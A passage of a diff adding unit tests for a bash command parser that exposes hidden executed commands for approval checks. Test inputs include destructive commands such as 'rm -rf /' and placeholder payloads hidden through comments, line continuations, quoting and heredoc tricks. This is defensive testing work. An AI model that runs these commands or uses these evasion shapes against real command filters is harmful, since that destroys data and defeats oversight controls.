+			// bytes themselves are shell-discarded, never a segment.
+			const rows = [
+				{
+					input: "echo $(a \\\n#b) <<E\nzap x\n)\nE",
+					commands: ["echo", "a ", "zap x", "E"],
+					error: null,
+				},
+				{
+					input: "echo $(a \\\n#b\nrm -rf /)",
+					commands: ["echo", "a ", "rm -rf /"],
+					error: null,
+				},
+			]
+			const observed = rows.map(({ input }) => {
+				const result = parseCommand(input)
+				return { commands: result.commands, error: result.parseError?.quoteType ?? null }
+			})
+			expect(observed).toEqual(rows.map(({ input: _input, ...expected }) => expected))
+		})
+
+		it("keeps a glued backslash-newline-hash sequence word text inside a frame", () => {
+			// The removal leaves `a` directly before the `#`: mid-word, never a
+			// comment. bash runs the word `a#b` here, so the boundary walk must
+			// land on the `a`, not on the raw newline, and the frame must close
+			// at its `)` like any word-text frame.
+			const rows = [
+				{
+					input: "echo $(a\\\n#b)",
+					commands: ["echo", "a", "#b"],
+					error: null,
+				},
+				{
+					input: "echo $(printf %s a\\\n#b)",
+					commands: ["echo", "printf %s a", "#b"],
+					error: null,
+				},
+			]
+			const observed = rows.map(({ input }) => {
+				const result = parseCommand(input)
+				return { commands: result.commands, error: result.parseError?.quoteType ?? null }
+			})
+			expect(observed).toEqual(rows.map(({ input: _input, ...expected }) => expected))
+		})
+
+		it("tests the frame-comment boundary against the byte the shell sees", () => {
+			// The boundary walk pairs a backslash run off left to right, like
+			// the shell's tokenizer. An even run leaves the newline standing as
+			// a real line break, so a `#` after it is word-initial: the comment
+			// fires, swallows the frame closer and the opener remainder, and
+			// the payload inside the frame is extracted — the same reading as
+			// bash, which runs that payload inside the substitution. An odd run
+			// longer than one pairs down to an escaped backslash before the
+			// `#`; the walk here steps over the whole run, which reads the
+			// still-escaped `#` as word-initial and comments it: the frame
+			// stays open and the input is refused. bash runs the word in that
+			// shape, so the divergence is a refusal of input bash accepts — the
+			// safe direction, never the reverse. The end-of-frame pin walks
+			// over the frame opener to start-of-input, a boundary like any
+			// blank: bash loses the closer to the same comment and rejects the
+			// input with an unexpected-EOF error too. A backslash followed by
+			// CR is an escaped CR, not a continuation: the LF stays a real
+			// break and the comment fires on the raw boundary.
+			const rows = [
+				{
+					// Even run: the newline is a real break; the comment takes
+					// `) <<E` and `zap x` is extracted from inside the frame.
+					input: "echo $(a\\\\\n#b) <<E\nzap x\n)\nE",
+					commands: ["echo", "a\\", "zap x", "E"],
+					error: null,
+				},
+				{
+					// Odd run R=3: bash runs the word `a\#b`; the full-run step
+					// comments and fails closed instead (safe direction).
+					input: "echo $(printf %s a \\\\\\\n#b)",
+					commands: ["echo $(printf %s a \\\\\\\n#b)"],
+					error: "command-substitution",
+				},
+				{
+					// The continuation pair before the `#` is walked over; the
+					// space before the backslash is the boundary the shell sees,
+					// so the comment fires and swallows the frame closer.
+					input: "echo $( \\\n#)",
+					commands: ["echo $( \\\n#)"],
+					error: "command-substitution",
+				},
+				{
+					// Escaped CR: the LF stands, the comment fires, the frame
+					// never closes.
+					input: "echo $(a\\\r\n#b)",
+					commands: ["echo $(a\\\r\n#b)"],
+					error: "command-substitution",
+				},
+				{
+					// An even backslash run directly before the `#` ends in an
+					// escaped backslash: the `#` is mid-word word text and the
+					// frame closes normally.
+					input: "echo $(a \\\\#b)",
+					commands: ["echo", "a \\#b"],
+					error: null,
+				},
+				{
+					// Two stacked single continuations: both pairs are removed,
+					// so the shell sees `a` directly before the `#` — word
+					// text. The frame closes normally; the split segments are
+					// the host tokenizer's own reading of the continuation
+					// bytes, never a comment swallowing.
+					input: "echo $(a\\\n\\\n#b)",
+					commands: ["echo", "a", "", "#b"],
+					error: null,
+				},
+				{
+					// An odd run of one directly before the `#` escapes the
+					// `#` itself: literal word text, frame closes normally.
+					input: "echo $(a \\#b)",
+					commands: ["echo", "a #b"],
+					error: null,
+				},
+			]
+			const observed = rows.map(({ input }) => {
+				const result = parseCommand(input)
+				return { commands: result.commands, error: result.parseError?.quoteType ?? null }
+			})
+			expect(observed).toEqual(rows.map(({ input: _input, ...expected }) => expected))
+		})
+
+		it("walks continuations at the frame-comment boundary inside heredoc bodies", () => {
+			// The body walk carries the same tracker and the same boundary walk
+			// as the main scan, so a continuation comment inside a body frame
+			// reads the same. The swallowed-closer shape keeps every executed
+			// command visible: the body mask holds the raw text, and the
+			// unquoted-delimiter payload re-scan starts at host level, where
+			// the same comment rule fires on the `#` after the removed
+			// continuation pair — the quote on that line dies with the
+			// comment, and each executed command surfaces as its own segment.
+			// The glued shape stays word text with its frame closing normally.
+			const rows = [
+				{
+					input: "cat <<E\necho $(echo \\\n#x ) '\nprintf MARKER >&2) #'\nE",
+					commands: [
+						"cat <<E\necho $(echo \\\n#x ) '\nprintf MARKER >&2) #'\nE",
+						"echo ",
+						"printf MARKER >&2",
+					],
+					error: null,
+				},
+				{
+					input: "cat <<E\necho $(a\\\n#b)\nE",
+					commands: ["cat <<E\necho $(a\\\n#b)\nE", "a", "#b"],
+					error: null,
+				},
+			]
+			const observed = rows.map(({ input }) => {
+				const result = parseCommand(input)
+				return { commands: result.commands, error: result.parseError?.quoteType ?? null }
+			})
+			expect(observed).toEqual(rows.map(({ input: _input, ...expected }) => expected))
+		})
+
+		it("fires a host-level comment reached through a line continuation", () => {
+			// The shell removes a backslash-newline pair before tokenizing, so
+			// a `#` opening the continuation line is word-initial: the comment
+			// fires and every quote on that line dies with it. Recording the
+			// pair as an escape-pair word continuation suppressed both comments
+			// in the two-comment shape below: the `"` on each comment line
+			// opened a live mask, the pair kept quote parity even so the input
+			// parsed, and the executed lines rode the quote-shaped segments
+			// hidden from the command lists. With the comment firing, the one
+			// quote still live at end of input stays unterminated and the
+			// parser refuses the shape — the same reading bash reaches, which
+			// aborts on the same unmatched `"` after the executable printf
+			// lines have already run. The residual quote pairing need not be
+			// byte-exact to bash: the
+			// pinned security property is that an executed line is either a
+			// visible word or the input is refused. The quote-free rows show
+			// the visible-word side: the comment takes the `# p` / backtick
+			// bytes (a comment is not shell syntax, so no payload extracts) and
+			// the executed line surfaces as an ordinary word.
+			const rows = [
+				{
+					input: 'echo a \\\n# "p\nprintf RAN1\n" q\nb \\\n# "r\nprintf RAN2\n" s',
+					commands: ['echo a \\\n# "p\nprintf RAN1\n" q\nb \\\n# "r\nprintf RAN2\n" s'],
+					error: "double",
+				},
+				{
+					input: 'echo a \\\n# "p\nprintf RAN\n" q',
+					commands: ['echo a \\\n# "p\nprintf RAN\n" q'],
+					error: "double",
+				},
+				{
+					input: "echo x \\\n# p\nprintf RAN",
+					commands: ["echo x ", "printf RAN"],
+					error: null,
+				},
+				{
+					input: "echo a \\\n#c `printf RAN4`",
+					commands: ["echo a "],
+					error: null,
+				},
+			]
+			const observed = rows.map(({ input }) => {
+				const result = parseCommand(input)
+				return { commands: result.commands, error: result.parseError?.quoteType ?? null }
+			})
+			expect(observed).toEqual(rows.map(({ input: _input, ...expected }) => expected))
+		})
+
+		it("keeps host-level continuation word text on the accept path", () => {
+			// The recording guard excludes only the backslash-newline pair, so
+			// the accept paths bash runs must keep parsing as word text. A
+			// glued pair leaves the word bytes directly before the `#`: mid-
+			// word, no comment, and the following line stays its own word. At
+			// start of input the removal puts the `#` at the logical start: a
+			// comment, and nothing after it executes. Stacked pairs both
+			// remove, again gluing the word bytes to the `#`. An ordinary
+			// escape pair still records its end: a `#` after an escaped blank
+			// is word interior, and commenting it would refuse a word bash
+			// runs.
+			const rows = [
+				{
+					input: "printf %s a\\\n#b",
+					commands: ["printf %s a", "#b"],
+					error: null,
+				},
+				{
+					input: "a\\\n#b",
+					commands: ["a", "#b"],
+					error: null,
+				},
+				{
+					input: "\\\n#x",
+					commands: [""],
+					error: null,
+				},
+				{
+					input: "printf %s a\\\n\\\n#b",
+					commands: ["printf %s a", "", "#b"],
+					error: null,
+				},
+				{
+					input: "printf %s a\\ #b",
+					commands: ["printf %s a #b"],
+					error: null,
+				},
+			]
+			const observed = rows.map(({ input }) => {
+				const result = parseCommand(input)
+				return { commands: result.commands, error: result.parseError?.quoteType ?? null }
+			})
+			expect(observed).toEqual(rows.map(({ input: _input, ...expected }) => expected))
+		})
+
+		it("does not treat exotic JS-\\s bytes as shell word separators", () => {
+			// bash word-splits on the default $IFS blanks (space, tab, newline)
+			// only. JS `\s` is wider — VT, FF, NBSP, U+3000, U+2001, U+2028 —
+			// and a `#` after one of those extras is mid-word to bash, so the
+			// comment bytes (here a whole `$(evil)`) execute. Reading the
+			// extras as boundaries commented the payload away and approved the
+			// command. The frame rows pin the substitution-frame rule and its
+			// payload re-scan; the top rows pin the same rule's top-level twin.
+			// The accept rows keep space and tab commenting: exact $IFS, never a
+			// widened refusal.
+			const exotic = ["\x0b", "\x0c", "\u00a0", "\u3000", "\u2001", "\u2028"]
+			// The top-level host word reaches the tokenizer as
+			// `a<exotic><# placeholder>`: the tokenizer ends the word at the
+			// exotic byte and the placeholder rejoins with one space, so the
+			// pinned invariant is the `#` surviving as a restored word byte
+			// (not a dropped comment) and `evil` surfacing as its own segment.
+			const rows = exotic.flatMap((b) => [
+				{
+					name: `frame-${b.codePointAt(0)}`,
+					input: `echo $( ${b}#$(evil)\n)`,
+					commands: ["echo", "#", "evil"],
+					error: null,
+				},
+				// Decoy-closer frame shape: a boundary class that wrongly ends
+				// the word at the exotic byte would start a comment swallowing
+				// the frame's own `)`, leaving bash-valid input open.
+				{
+					name: `frame-decoy-${b.codePointAt(0)}`,
+					input: `echo $(x${b}#c) $(evil)`,
+					commands: ["echo", "x #c", "evil"],
+					error: null,
+				},
+				{
+					name: `top-${b.codePointAt(0)}`,
+					input: `echo a${b}#$(evil)`,
+					commands: ["echo a #", "evil"],
+					error: null,
+				},
+			])
+			const observed = rows.map(({ name, input }) => {
+				const result = parseCommand(input)
+				return { name, commands: result.commands, error: result.parseError?.quoteType ?? null }
+			})
+			expect(observed).toEqual(rows.map(({ name, input: _input, ...expected }) => ({ name, ...expected })))
+			for (const blank of [" ", "\t"]) {
+				expect(parseCommand(`echo $( ${blank}#$(evil)\n)`).commands).toEqual(["echo"])
+				expect(parseCommand(`echo a${blank}#$(evil)`).commands).toEqual(["echo a"])
+			}
+		})
+
+		it("does not extract a substitution from a single-quoted span on the opener remainder", () => {
+			// bash tokenizes the opener-line remainder, so a balanced `'…'`
+			// span undergoes quote removal and nothing inside it executes: the
+			// span contributes no payload, and the command keeps the head's
+			// clean approval path. Over-extracting here turns an inert argument
+			// into a denied segment bash never runs.
+			const { commands, parseError } = parseCommand("cat <<E '$(rm -rf /)'\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE $(rm -rf /)"])
+		})
+
+		it("still extracts from unquoted text following a masked single-quoted remainder span", () => {
+			// The mask ends at the span's closing quote: live syntax after it
+			// still reaches its own segment, so masking cannot become a way to
+			// hide a payload by prefixing an inert quote word.
+			const { commands, parseError } = parseCommand("cat <<E '$(inert)' $(zap x)\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE $(inert) $ ( zap x )", "zap x"])
+			// A single quote inside a double-quoted word is literal: the word
+			// still expands, so the interior `'…'` shape must not mask the
+			// substitution. bash runs `zap x` here (the quotes inside `"…"`
+			// never open a single-quote region).
+			const dq = parseCommand(`cat <<E "x' $(zap x)' y"\nbody\nE`)
+			expect(dq.parseError).toBeNull()
+			expect(dq.commands).toEqual(["cat <<E\nbody\nE x' $(zap x)' y", "zap x"])
+		})
+
+		it("extracts the substitution after an ANSI-C word whose escaped quote ends the word", () => {
+			// bash ends an ANSI-C word at its first unescaped `'`: in `$'\''`
+			// the `\'` is the word's content and the word closes at the third
+			// quote, so `$(zap x)` after it is live syntax that bash expands
+			// before running `cat`. A mask that pairs raw quote bytes consumes
+			// the escaped quote, treats the following space and substitution as
+			// quoted host text, and lets the executed payload ride the host
+			// unchecked.
+			const { commands, parseError } = parseCommand("cat <<E $'\\'' $(zap x) ''\nbody\nE\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE ' $ ( zap x ) ", "zap x"])
+		})
+
+		it("keeps an ANSI-C word's body inert and its chain collection faithful", () => {
+			// The ANSI-C region is opaque to its unescaped closer: a
+			// substitution inside its body expands to nothing (bash performs
+			// no expansion inside `$'…'`) and must not surface as a segment,
+			// while live syntax after the word still reaches its own.
+			const inert = parseCommand("cat <<E $'a $(inert) b' $(zap x)\nbody\nE\n")
+			expect(inert.parseError).toBeNull()
+			expect(inert.commands).toEqual(["cat <<E\nbody\nE a $(inert) b $ ( zap x )", "zap x"])
+			// An ANSI-C word whose closer is escaped never closes: bash reads
+			// one unterminated word, runs nothing, and executes no
+			// substitution — so none may surface as a segment either.
+			const unterminated = parseCommand("cat <<E $'a\\' $(zap x)\nbody\nE\n")
+			expect(unterminated.parseError).toBeNull()
+			// The full array pins what the parse does return: the payload never
+			// surfaces, and the unterminated word's bytes ride the host verbatim.
+			expect(unterminated.commands).toEqual(["cat <<E\nbody\nE $a\\ $ ( zap x )"])
+			expect(unterminated.commands).not.toContain("zap x")
+			// The chained-opener collector reads the same remainder bytes: an
+			// ANSI-C word must not shift its quote parity into a hidden `<<`
+			// chain opener. Here the chain resolves and the second body's
+			// substitution reaches its own segment; in the comment variant the
+			// chain body runs past end of input and the construct fails closed
+			// (bash reads the chained bodies sequentially from the input
+			// stream and expands what it reads), where a parity-flipped word
+			// would silently drop the opener and hand the body lines back as
+			// live text.
+			const chain = parseCommand("cat <<A $'\\'' <<B\nA\n$(evil)\nB\n")
+			expect(chain.parseError).toBeNull()
+			expect(chain.commands).toEqual(["cat <<A\nA\n$(evil)\nB ' << B", "evil"])
+			const chainComment = parseCommand("cat <<A $'\\'' <<B\nA\n# $(evil) B\n")
+			expect(chainComment.parseError?.quoteType).toBe("heredoc")
+			expect(chainComment.commands).toEqual(["cat <<A $'\\'' <<B\nA\n# $(evil) B\n"])
+		})
+
+		it("keeps a word-start # inside an open ANSI-C region from cutting the live remainder", () => {
+			// bash starts a comment at a word-start `#` only outside quotes:
+			// here the `#` sits inside the open `$'…'` region, so it is region
+			// content and the region closes at the final quote — bash expands
+			// the substitution after the word. An onset scan that pairs raw
+			// quote bytes closes the region at the escaped `\'`, reads that
+			// `#` as a comment start, and drops the executed payload into the
+			// host text.
+			const { commands, parseError } = parseCommand("cat <<E $'a \\' # b' $(echo M30 >&2)\nbody\nE\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE a ' # b $ ( echo M30 >& 2 )", "echo M30 >&2"])
+		})
+
+		it("fails closed when an ANSI-C word precedes a line-continuation backslash on a quoted-delimiter opener", () => {
+			// bash joins a trailing-backslash continuation before
+			// tokenizing, so the substitution is live on the opener line
+			// while the remainder cut cannot account for the joined bytes
+			// — the construct must fail closed. The guard reads the quote
+			// state just before the backslash run: ANSI-C-aware pairing
+			// closes `$'\''` at its third quote and reports no open quote,
+			// while raw-byte pairing closes at the escaped quote and
+			// reopens at the trailing one, silencing the guard exactly
+			// where bash runs the joined payload.
+			const join = "cat <<'E' $'\\'' \\\n$(echo M20 >&2)\nE\n"
+			const joined = parseCommand(join)
+			expect(joined.parseError?.quoteType).toBe("heredoc")
+			expect(joined.commands).toEqual([join])
+			// The joinless shape still passes the same guard: the quoted
+			// delimiter suppresses body expansion, not opener-line
+			// remainder expansion, so the substitution reaches its own
+			// segment.
+			const clean = parseCommand("cat <<'E' $'\\'' $(echo M22 >&2)\nbody\nE\n")
+			expect(clean.parseError).toBeNull()
+			expect(clean.commands).toEqual(["cat <<'E'\nbody\nE ' $ ( echo M22 >& 2 )", "echo M22 >&2"])
+		})
+
+		it("keeps an escaped double quote from closing a double-quoted opener region", () => {
+			// Inside `"..."` bash pairs a backslash with the next character, so
+			// `\"` is an escaped double quote and the region stays open: the `#`
+			// after it is region content, never a comment onset, and the
+			// substitution remains live syntax reaching its own segment. An
+			// onset scan that tests the escape exemption against the wrong quote
+			// kind treats `\"` as the closer, reads the following `#` as a
+			// word-start comment, and drops the payload as comment material.
+			const { commands, parseError } = parseCommand('cat <<E "a\\" # $(zap x)"\nbody\nE')
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<E\nbody\nE a" # $(zap x)', "zap x"])
+		})
+
+		it("keeps a single-quoted backslash literal so its closer ends the region", () => {
+			// Inside `'...'` bash reads a backslash as literal, so `\'` closes the
+			// region: the following word-start `#` opens the comment bash sees and
+			// the substitution after it is discarded text, never an extracted
+			// payload. An onset scan that applies the escape pair inside single
+			// quotes carries the region past the closer and turns that comment
+			// material into a live segment.
+			const { commands, parseError } = parseCommand("cat <<E 'a\\' # $(zap x)'\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE a\\"])
+		})
+
+		it("fails closed on an apostrophe after a mid-word # in the opener remainder", () => {
+			// A `#` glued to a word is word content, not a comment start, so the
+			// `'` after it is live syntax that spans the newline like the
+			// un-commented shape.
+			const input = "cat <<E x#'a\nb'; zap x\nhi\nE"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+			// A blank escaped by `\ ` also keeps the following `#` mid-word:
+			// bash carries the opened `'` across the newline, so the opener
+			// stays over-rejected rather than swallowing the quote.
+			const escapedInput = "cat <<E \\ #'a\nbody'\nE"
+			const escaped = parseCommand(escapedInput)
+			expect(escaped.commands).toEqual([escapedInput])
+			expect(escaped.parseError?.quoteType).toBe("heredoc")
+			// The escape pair consumes exactly the backslash and the escaped
+			// character: the word after it is read normally, so `\'` contributes
+			// a literal quote word and the following word-start `#` is a comment.
+			// (The body apostrophe matters: an over-read that left the escaped
+			// `'` unpaired would read it as a residual quote closing here.)
+			const escapeQuote = parseCommand("cat <<E \\' # dont\nb'ody\nE")
+			expect(escapeQuote.parseError).toBeNull()
+			expect(escapeQuote.commands).toEqual(["cat <<E\nb'ody\nE '"])
+			// A quote byte directly after the pair is visited, not skipped: it
+			// opens a region that swallows the `#`, so the comment never starts
+			// and the quote text reaches the host. (An under-read that skipped
+			// this `'` would open the comment and see its apostrophe as a
+			// residual quote closing on the body.)
+			const quoteAfterPair = parseCommand("cat <<E \\x' # don't\nb'ody\nE")
+			expect(quoteAfterPair.parseError).toBeNull()
+			expect(quoteAfterPair.commands).toEqual(["cat <<E\nb'ody\nE x # dont"])
+			// The escape pair consumes exactly two bytes, so the `\'` word and
+			// the following word-start comment stay separated: the comment's
+			// `$(zap x)` is discarded text, never an extracted payload segment.
+			const commentPayload = parseCommand("cat <<E \\' # it's here's $(zap x)\nbody\nE")
+			expect(commentPayload.parseError).toBeNull()
+			expect(commentPayload.commands).toEqual(["cat <<E\nbody\nE '"])
+		})
+
+		it("starts a # comment on the opener line regardless of the byte after the #", () => {
+			// bash opens a comment at any unquoted word-start `#`: only the
+			// byte before the `#` decides word start, so `#don't` opens a
+			// comment just like a spaced `#`. The comment is discarded before
+			// any quote is interpreted, so its apostrophe never opens a
+			// region. A remainder quote that closes on a later line fails the
+			// opener closed, which is why the body carries the matching
+			// apostrophe: reading the byte after the `#` instead of before it
+			// misses this onset, keeps the comment bytes live, and refuses an
+			// opener bash runs.
+			const { commands, parseError } = parseCommand("cat <<E #don't\nb'ody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nb'ody\nE"])
+		})
+
+		it("starts the opener-remainder comment at a # right after a semicolon", () => {
+			// A metacharacter terminates the previous word, so the `#` after
+			// `;` sits at a word start and opens a comment bash discards
+			// before any quote is interpreted: its apostrophe never opens a
+			// region. The bare-`(` onset shows the same rule from the other
+			// side of the metacharacter set. Reading the byte after the `#`
+			// instead of before it misses this onset, keeps the comment bytes
+			// live, and refuses an opener bash runs on the comment's
+			// apostrophe closing at the body's `b'`.
+			const { commands, parseError } = parseCommand("cat <<E ;#don't\nb'ody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nb'ody\nE"])
+		})
+
+		it("ends the delimiter word at an unquoted operator so the tail splits", () => {
+			// bash tokenizes `cat <<EOF|grep y` as the word `EOF` plus a live
+			// pipe, exactly like the spaced idiom. The terminator comparison
+			// must use `EOF`, not `EOF|grep`, so the well-terminated body
+			// closes and the tail splits into its own segment.
+			const input = "cat <<EOF|grep y\nhi\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<EOF\nhi\nEOF", "grep y"])
+		})
+
+		it("fails closed when a glued-operator delimiter hides the real terminator", () => {
+			// bash takes `E` as the delimiter word for `cat <<E|rm x`, so the
+			// body runs to end of input: the line `E|rm` never terminates it
+			// and `rm x` executes live. The parser must not match that line as
+			// a terminator, so the construct fails closed.
+			const input = "echo $(cat <<E|rm x\nhi\nE|rm\n)"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("keeps a # glued to a command-substitution closer from swallowing the tail", () => {
+			// bash ends `$(ls)` but not the word: the `#` is mid-word content
+			// and `; rm y` stays live. A word-initial reading would drop the
+			// tail as comment text, so the closer takes the placeholder channel.
+			const { commands, parseError } = parseCommand("echo $(cat <<E $(ls)#x ; rm y\nhi\nE\n)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "cat <<E\nhi\nE $ ( ls ) #x", "ls", "rm y"])
+		})
+
+		it("keeps a # glued to a command-substitution closer at the top level too", () => {
+			// The same closer rule without the surrounding expansion: the deny
+			// head after the operator must reach its own segment.
+			const { commands, parseError } = parseCommand("cat <<E $(ls)#x ; rm y\nhi\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nhi\nE $ ( ls ) #x", "ls", "rm y"])
+		})
+
+		it("keeps a # glued to a process-substitution closer from swallowing the tail", () => {
+			// `<(...)` closes a word-continuing region exactly like `$(...)`.
+			const { commands, parseError } = parseCommand("echo $(cat <<E <(ls)#x ; rm y\nhi\nE\n)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "cat <<E\nhi\nE <( ls ) #x", "ls", "rm y"])
+		})
+
+		it("keeps a # glued to a substitution closer working against a glued pipe", () => {
+			// The operator needs no surrounding blanks: bash still runs the
+			// right-hand command, so it must split into its own segment.
+			const { commands, parseError } = parseCommand("echo $(cat <<E $(ls)#x|rm y\nhi\nE\n)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "cat <<E\nhi\nE $ ( ls ) #x", "ls", "rm y"])
+		})
+
+		it("keeps a # glued to a backtick closer from swallowing the tail", () => {
+			// The backtick region closes the expansion but not the word, like
+			// every other closer, in the split and the glued-operator shape.
+			const split = parseCommand("echo $(cat <<E `ls`#x ; rm y\nhi\nE\n)")
+			expect(split.parseError).toBeNull()
+			expect(split.commands).toEqual(["echo", "cat <<E\nhi\nE `ls`#x", "ls", "rm y"])
+			const glued = parseCommand("echo $(cat <<E `ls`#x|rm y\nhi\nE\n)")
+			expect(glued.parseError).toBeNull()
+			expect(glued.commands).toEqual(["echo", "cat <<E\nhi\nE `ls`#x", "ls", "rm y"])
+		})
+
+		it("keeps a # glued to a parameter or arithmetic closer from swallowing the tail", () => {
+			// `${x}` and `$((1))` end an expansion, not the word: bash treats
+			// the `#` as ordinary content and runs the tail. The parameter
+			// expansion carries its verbatim text as the masked placeholder
+			// restores it; the arithmetic frame must close at its second `)`,
+			// never the first.
+			const param = parseCommand("cat <<E ${x}#y ; rm z\nhi\nE")
+			expect(param.parseError).toBeNull()
+			expect(param.commands).toEqual(["cat <<E\nhi\nE ${x}#y", "rm z"])
+			const arith = parseCommand("cat <<E $((1))#y ; rm z\nhi\nE")
+			expect(arith.parseError).toBeNull()
+			expect(arith.commands).toEqual(["cat <<E\nhi\nE $ ( ( 1 ) ) #y", "rm z"])
+		})
+
+		it("keeps a # glued to a closed quote in the remainder on the placeholder path", () => {
+			// Quotes pass through the walk unmasked, so the quote-then-`#`
+			// word keeps the behavior the escaped-hash control established:
+			// the tail survives tokenization.
+			const dq = parseCommand('echo $(cat <<E "a"#x ; rm y\nhi\nE\n)')
+			expect(dq.parseError).toBeNull()
+			expect(dq.commands).toEqual(["echo", "cat <<E\nhi\nE a#x", "rm y"])
+			const sq = parseCommand("echo $(cat <<E 'a'#x ; rm y\nhi\nE\n)")
+			expect(sq.parseError).toBeNull()
+			expect(sq.commands).toEqual(["echo", "cat <<E\nhi\nE a#x", "rm y"])
+		})
+
+		it("keeps a spaced # after a closer in the remainder as the comment bash sees", () => {
+			// A blank before the `#` puts it at a real word start: bash starts
+			// a comment there and never runs the tail. The closer rule must not
+			// widen past a `#` directly after the closer.
+			const { commands, parseError } = parseCommand("echo $(cat <<E $(ls) #x ; rm y\nhi\nE\n)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "cat <<E\nhi\nE $ ( ls )", "ls"])
+		})
+
+		it("fails closed on a delimiter glued to a subshell paren", () => {
+			// bash refuses `cat <<E(rm x)`: a `(` after a completed word token
+			// is a syntax error, never a delimiter break. The word keeps the
+			// parens, no body line matches it, and the construct fails closed
+			// instead of approving unexecutable input whose remainder hides the
+			// parenthesized text unsplit.
+			const input = "cat <<E(rm x)\nhi\nE"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a delimiter glued to a subshell paren inside a substitution", () => {
+			// The embedding expansion changes nothing: the opener line is
+			// still bash-illegal at the glued `(`.
+			const input = "echo $(cat <<E(rm x)\nhi\nE\n)"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a delimiter glued to a subshell paren through a tab", () => {
+			// A tab after the glued parens is still inside the illegal token.
+			const input = "cat <<E(rm x)\t\nhi\nE"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("splits a spaced parenthesized remainder: the heredoc closes and keeps the group (no over-reject)", () => {
+			// A blank before the `(` ends the delimiter word at bash's token
+			// boundary, so the heredoc closes and the group reaches the host
+			// text unsplit.
+			const { commands, parseError } = parseCommand("cat <<E (rm x)\nhi\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nhi\nE ( rm x )"])
+		})
+
+		it("keeps braces and mid-word parens as delimiter word characters", () => {
+			// `{` is no metacharacter: `E{rm x;}` is one word whose body never
+			// terminates. A `(` after a nonempty word is illegal in bash, so
+			// `x=1(y)` keeps the paren inside the word and the heredoc closes
+			// at `E` with the remainder as live host text.
+			const glued = parseCommand("cat <<E{rm x;}\nhi\nE")
+			expect(glued.commands).toEqual(["cat <<E{rm x;}\nhi\nE"])
+			expect(glued.parseError?.quoteType).toBe("heredoc")
+			const midword = parseCommand("cat <<E x=1(y)\nhi\nE")
+			expect(midword.parseError).toBeNull()
+			expect(midword.commands).toEqual(["cat <<E\nhi\nE x=1 ( y )"])
+		})
+
+		it("fails closed on a delimiter glued to a closing paren", () => {
+			// `)` is a metacharacter only at token start; glued after the word
+			// `E` it is a syntax error in bash, so the word keeps it, the body
+			// never terminates, and the construct is rejected.
+			const input = "cat <<E)rm x\nhi\nE"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed when a metacharacter starts the delimiter word", () => {
+			// A `(` or `)` can only start a metacharacter, never a word: with
+			// the word absent, the opener breaks on the metacharacter and the
+			// no-word metacharacter guard fails the construct closed. bash needs a
+			// word token after the redirection operator and rejects this input
+			// outright, so no rejection here can cost an executable command. A body
+			// line that matches the metacharacter word (the terminator-matching
+			// variant of each shape) fails closed too: the guard cannot tell the
+			// body apart, and bash never executes this input either way.
+			const cases: string[] = ["cat <<(x)\nhi\n(x)", "cat <<(x)\nhi\nE", "cat <<)x\nhi\nE"]
+			for (const input of cases) {
+				const { commands, parseError } = parseCommand(input)
+				expect(commands).toEqual([input])
+				expect(parseError?.quoteType).toBe("heredoc")
+			}
+		})
+
+		it("fails closed on every word-start operator shape", () => {
+			// One assert per word-start metacharacter in the delimiter break
+			// set, including the `<<-` and spaced-`<` variants. bash ends the
+			// absent word at the operator token and rejects the whole command
+			// before executing anything, so each shape fails closed with the
+			// raw input.
+			const cases: string[] = [
+				"cat <<|rm x\nhi\nE",
+				"cat <<&rm x\nhi\nE",
+				"cat <<;rm x\nhi\nE",
+				"cat <<(x)\nhi\nE",
+				"cat <<)x\nhi\nE",
+				"cat <<>f\nhi\nE",
+				"cat << <f\nhi\nE",
+				"cat <<-|rm x\nhi\nE",
+			]
+			for (const input of cases) {
+				const { commands, parseError } = parseCommand(input)
+				expect(commands).toEqual([input])
+				expect(parseError?.quoteType).toBe("heredoc")
+			}
+		})
+
+		it("fails closed on a word-start operator inside a substitution frame", () => {
+			// The expansion-frame call site shares the guard: a heredoc opened
+			// inside `$(…)` with an operator instead of a delimiter word fails
+			// closed the same way. The guard fires at the opener, so a body
+			// line matching the metacharacter word never reaches the
+			// terminator search.
+			for (const input of ["echo $(cat <<(x)\nhi\nE\n)", "echo $(cat <<(x)\nhi\n(x)\n)"]) {
+				const { commands, parseError } = parseCommand(input)
+				expect(commands).toEqual([input])
+				expect(parseError?.quoteType).toBe("heredoc")
+			}
+		})
+
+		const delimiterBreakRows: Array<{
+			name: string
+			input: string
+			commands: string[]
+			error: "heredoc" | null
+		}> = [
+			{
+				name: "fails closed on | starting the delimiter word",
+				input: "cat <<|x\nb\n|x",
+				commands: ["cat <<|x\nb\n|x"],
+				error: "heredoc",
+			},
+			{
